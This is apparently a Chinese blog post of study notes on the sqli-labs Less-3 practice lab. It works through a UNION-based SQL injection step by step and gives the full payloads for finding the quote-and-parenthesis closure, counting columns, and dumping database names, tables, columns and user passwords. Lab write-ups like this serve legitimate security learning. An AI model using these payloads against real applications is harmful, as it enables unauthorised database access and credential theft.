sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
笃行35027 分钟前
AI数据库的库内四层结构,KingbaseES 产品拆解
数据库
叼烟扛炮1 小时前
[LangChain] 学习笔记(06):突破大模型限制——结构化输出(Structured Output)
windows·笔记·学习·langchain
且从容.2 小时前
VUE3学习笔记(根据黑马教程总结)
笔记·学习
我是大猴子2 小时前
redis
数据库·redis·缓存
蒸蒸yyyyzwd3 小时前
关于 AI 开发相关的一些面经。
笔记·学习
苏宸啊4 小时前
MySQL(一)
数据库·mysql
2603_969694855 小时前
JDBC 基础学习笔记:API 核心原理解析与 CRUD 代码实操
数据库·笔记·mysql·学习方法·database·sql注入
这个DBA有点耶5 小时前
库内语义构建 vs 外挂向量库:业务语义缺失,才是RAG“胡说八道”的根源
数据库·mysql·aigc
迪康coolmu5 小时前
出差终端数据安全落地实战:基于迪康端点安全一体化管理系统的四道防线实践
运维·服务器·经验分享·笔记·其他·安全·php
kobe_OKOK_6 小时前
mysql 开启 binlog 日志
数据库·mysql